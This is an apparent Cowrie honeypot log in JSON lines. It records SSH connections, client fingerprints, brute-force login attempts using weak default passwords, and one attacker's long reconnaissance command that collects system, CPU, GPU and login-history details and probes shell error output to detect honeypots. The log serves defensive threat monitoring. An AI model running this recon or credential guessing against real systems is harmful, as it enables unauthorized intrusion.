{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:33.914445Z","src_ip":"160.187.174.22","session":"ba2004282961","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2W3E4R","message":"login attempt [root/1Q2W3E4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:34.662408Z","src_ip":"160.187.174.22","session":"ba2004282961","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:35.919678Z","src_ip":"160.187.174.22","session":"ba2004282961","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":59002,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3776e148e02","protocol":"ssh","message":"New connection: 91.92.40.4:59002 (10.17.0.5:22) [session: a3776e148e02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:36.305482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:36.309705Z","src_ip":"91.92.40.4","session":"a3776e148e02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:36.389763Z","src_ip":"91.92.40.4","session":"a3776e148e02","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"qwer1234","message":"login attempt [oracle/qwer1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:36.723157Z","src_ip":"91.92.40.4","session":"a3776e148e02","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:36.928241Z","src_ip":"91.92.40.4","session":"a3776e148e02","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:36.930955Z","src_ip":"91.92.40.4","session":"a3776e148e02","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:36.934069Z","src_ip":"91.92.40.4","session":"a3776e148e02","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:36.937046Z","src_ip":"91.92.40.4","session":"a3776e148e02","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:36.939495Z","src_ip":"91.92.40.4","session":"a3776e148e02","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:36.942919Z","src_ip":"91.92.40.4","session":"a3776e148e02","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:36.945368Z","src_ip":"91.92.40.4","session":"a3776e148e02","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:36.947851Z","src_ip":"91.92.40.4","session":"a3776e148e02","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:36.950798Z","src_ip":"91.92.40.4","session":"a3776e148e02","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:36.954391Z","src_ip":"91.92.40.4","session":"a3776e148e02","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:36.957695Z","src_ip":"91.92.40.4","session":"a3776e148e02","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:37.047452Z","src_ip":"91.92.40.4","session":"a3776e148e02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:06:37.129998Z","src_ip":"91.92.40.4","session":"a3776e148e02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":48536,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b6ab2fd0f5b","protocol":"ssh","message":"New connection: 160.187.174.22:48536 (159.203.135.109:22) [session: 9b6ab2fd0f5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:01.253217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:01.258840Z","src_ip":"160.187.174.22","session":"9b6ab2fd0f5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:01.514749Z","src_ip":"160.187.174.22","session":"9b6ab2fd0f5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:02.258040Z","src_ip":"160.187.174.22","session":"9b6ab2fd0f5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.895206451416016,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:02.642772Z","src_ip":"170.64.224.25","session":"1c6ef95991b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:03.495163Z","src_ip":"160.187.174.22","session":"9b6ab2fd0f5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":49414,"dst_ip":"159.203.135.109","dst_port":22,"session":"543751ba3e56","protocol":"ssh","message":"New connection: 143.20.185.207:49414 (159.203.135.109:22) [session: 543751ba3e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:06.483121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:06.489388Z","src_ip":"143.20.185.207","session":"543751ba3e56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:06.682458Z","src_ip":"143.20.185.207","session":"543751ba3e56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZVPS#8VCPU32GBAMD","message":"login attempt [root/XYZZVPS#8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:07.035072Z","src_ip":"143.20.185.207","session":"543751ba3e56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":27176,"dst_ip":"10.17.0.5","dst_port":22,"session":"a596f2f33071","protocol":"ssh","message":"New connection: 147.45.199.80:27176 (10.17.0.5:22) [session: a596f2f33071]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:08.014576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:08.022301Z","src_ip":"147.45.199.80","session":"a596f2f33071","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:08.138743Z","src_ip":"147.45.199.80","session":"a596f2f33071","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:08.248195Z","src_ip":"143.20.185.207","session":"543751ba3e56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"070891","message":"login attempt [root/070891] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:08.516126Z","src_ip":"147.45.199.80","session":"a596f2f33071","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:09.649442Z","src_ip":"147.45.199.80","session":"a596f2f33071","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":39172,"dst_ip":"159.203.135.109","dst_port":22,"session":"19244dabe311","protocol":"ssh","message":"New connection: 160.187.174.22:39172 (159.203.135.109:22) [session: 19244dabe311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:28.365575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:28.369294Z","src_ip":"160.187.174.22","session":"19244dabe311","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:28.605945Z","src_ip":"160.187.174.22","session":"19244dabe311","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:29.319561Z","src_ip":"160.187.174.22","session":"19244dabe311","protocol":"ssh"}
